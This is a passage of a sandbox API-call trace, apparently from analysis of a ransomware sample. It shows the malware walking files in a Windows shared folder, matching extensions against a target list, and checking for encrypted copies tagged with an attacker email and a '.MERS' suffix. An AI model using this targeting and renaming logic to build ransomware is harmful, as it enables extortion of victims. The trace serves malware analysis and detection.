63 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.343] lstrlenW (lpString=".doc") returned 4 [0038.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".docx") returned 5 [0038.343] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.343] lstrlenW (lpString=".pdf") returned 4 [0038.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".xls") returned 4 [0038.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString=".xlsx") returned 5 [0038.344] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.344] lstrlenW (lpString=".ppt") returned 4 [0038.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.344] lstrlenW (lpString=".zip") returned 4 [0038.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.344] lstrlenW (lpString=".rar") returned 4 [0038.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString=".bz2") returned 4 [0038.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString=".7z") returned 3 [0038.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.344] lstrlenW (lpString=".dbf") returned 4 [0038.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.344] lstrlenW (lpString=".1cd") returned 4 [0038.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.344] lstrlenW (lpString=".jpg") returned 4 [0038.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.344] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0038.344] lstrlenW (lpString="boxed-delete.avi") returned 16 [0038.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.740] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31744) returned 1 [0039.740] CloseHandle (hObject=0x1f0) returned 1 [0039.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0039.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString=".doc") returned 4 [0039.741] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".docx") returned 5 [0039.741] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0039.741] lstrlenW (lpString=".pdf") returned 4 [0039.741] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".xls") returned 4 [0039.741] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".xlsx") returned 5 [0039.741] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0039.741] lstrlenW (lpString=".ppt") returned 4 [0039.741] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString=".zip") returned 4 [0039.741] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".rar") returned 4 [0039.741] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".bz2") returned 4 [0039.741] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString=".7z") returned 3 [0039.741] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString=".dbf") returned 4 [0039.741] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString=".1cd") returned 4 [0039.741] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.741] lstrlenW (lpString=".jpg") returned 4 [0039.741] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString=".doc") returned 4 [0039.742] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".docx") returned 5 [0039.742] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0039.742] lstrlenW (lpString=".pdf") returned 4 [0039.742] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".xls") returned 4 [0039.742] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".xlsx") returned 5 [0039.742] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0039.742] lstrlenW (lpString=".ppt") returned 4 [0039.742] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString=".zip") returned 4 [0039.742] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".rar") returned 4 [0039.742] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".bz2") returned 4 [0039.742] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString=".7z") returned 3 [0039.742] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString=".dbf") returned 4 [0039.742] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString=".1cd") returned 4 [0039.742] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0039.742] lstrlenW (lpString=".jpg") returned 4 [0039.742] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.742] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.743] lstrlenW (lpString="ipsdan.xml") returned 10 [0039.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.879] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2514) returned 1 [0039.879] CloseHandle (hObject=0x1e4) returned 1 [0039.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0039.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.879] lstrlenW (lpString=".doc") returned 4 [0039.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.879] lstrlenW (lpString=".docx") returned 5 [0039.879] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.879] lstrlenW (lpString=".pdf") returned 4 [0039.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.879] lstrlenW (lpString=".xls") returned 4 [0039.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString=".xlsx") returned 5 [0039.880] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.880] lstrlenW (lpString=".ppt") returned 4 [0039.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.880] lstrlenW (lpString=".zip") returned 4 [0039.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.880] lstrlenW (lpString=".rar") returned 4 [0039.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString=".bz2") returned 4 [0039.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString=".7z") returned 3 [0039.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.880] lstrlenW (lpString=".dbf") returned 4 [0039.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.880] lstrlenW (lpString=".1cd") returned 4 [0039.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.880] lstrlenW (lpString=".jpg") returned 4 [0039.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.881] lstrlenW (lpString=".doc") returned 4 [0039.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString=".docx") returned 5 [0039.881] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.881] lstrlenW (lpString=".pdf") returned 4 [0039.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString=".xls") returned 4 [0039.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString=".xlsx") returned 5 [0039.881] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.881] lstrlenW (lpString=".ppt") returned 4 [0039.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.881] lstrlenW (lpString=".zip") returned 4 [0039.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.881] lstrlenW (lpString=".rar") returned 4 [0039.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString=".bz2") returned 4 [0039.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString=".7z") returned 3 [0039.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.881] lstrlenW (lpString=".dbf") returned 4 [0039.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.881] lstrlenW (lpString=".1cd") returned 4 [0039.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.882] lstrlenW (lpString=".jpg") returned 4 [0039.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.882] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.882] lstrlenW (lpString="ipsen.xml") returned 9 [0039.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.883] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2578) returned 1 [0039.883] CloseHandle (hObject=0x1e4) returned 1 [0039.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0039.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString=".doc") returned 4 [0039.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString=".docx") returned 5 [0039.884] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.884] lstrlenW (lpString=".pdf") returned 4 [0039.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString=".xls") returned 4 [0039.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString=".xlsx") returned 5 [0039.884] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.884] lstrlenW (lpString=".ppt") returned 4 [0039.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString=".zip") returned 4 [0039.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.884] lstrlenW (lpString=".rar") returned 4 [0039.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString=".bz2") returned 4 [0039.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString=".7z") returned 3 [0039.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString=".dbf") returned 4 [0039.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString=".1cd") returned 4 [0039.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.884] lstrlenW (lpString=".jpg") returned 4 [0039.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.885] lstrlenW (lpString=".doc") returned 4 [0039.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString=".docx") returned 5 [0039.885] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.885] lstrlenW (lpString=".pdf") returned 4 [0039.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString=".xls") returned 4 [0039.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString=".xlsx") returned 5 [0039.885] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.885] lstrlenW (lpString=".ppt") returned 4 [0039.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.885] lstrlenW (lpString=".zip") returned 4 [0039.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.885] lstrlenW (lpString=".rar") returned 4 [0039.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString=".bz2") returned 4 [0039.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString=".7z") returned 3 [0039.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.885] lstrlenW (lpString=".dbf") returned 4 [0039.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.885] lstrlenW (lpString=".1cd") returned 4 [0039.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.886] lstrlenW (lpString=".jpg") returned 4 [0039.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.886] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.886] lstrlenW (lpString="ipsesp.xml") returned 10 [0039.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.886] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3024) returned 1 [0039.886] CloseHandle (hObject=0x1e4) returned 1 [0039.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0039.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.886] lstrlenW (lpString=".doc") returned 4 [0039.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".docx") returned 5 [0039.887] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.887] lstrlenW (lpString=".pdf") returned 4 [0039.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".xls") returned 4 [0039.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".xlsx") returned 5 [0039.887] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.887] lstrlenW (lpString=".ppt") returned 4 [0039.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString=".zip") returned 4 [0039.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.887] lstrlenW (lpString=".rar") returned 4 [0039.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".bz2") returned 4 [0039.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".7z") returned 3 [0039.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString=".dbf") returned 4 [0039.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString=".1cd") returned 4 [0039.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString=".jpg") returned 4 [0039.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.887] lstrlenW (lpString=".doc") returned 4 [0039.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString=".docx") returned 5 [0039.888] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.888] lstrlenW (lpString=".pdf") returned 4 [0039.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString=".xls") returned 4 [0039.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString=".xlsx") returned 5 [0039.888] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.888] lstrlenW (lpString=".ppt") returned 4 [0039.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.888] lstrlenW (lpString=".zip") returned 4 [0039.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.888] lstrlenW (lpString=".rar") returned 4 [0039.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString=".bz2") returned 4 [0039.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString=".7z") returned 3 [0039.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.888] lstrlenW (lpString=".dbf") returned 4 [0039.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.888] lstrlenW (lpString=".1cd") returned 4 [0039.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0039.888] lstrlenW (lpString=".jpg") returned 4 [0039.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.889] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.889] lstrlenW (lpString="ipsfin.xml") returned 10 [0039.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.889] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2658) returned 1 [0039.889] CloseHandle (hObject=0x1e4) returned 1 [0039.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0039.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 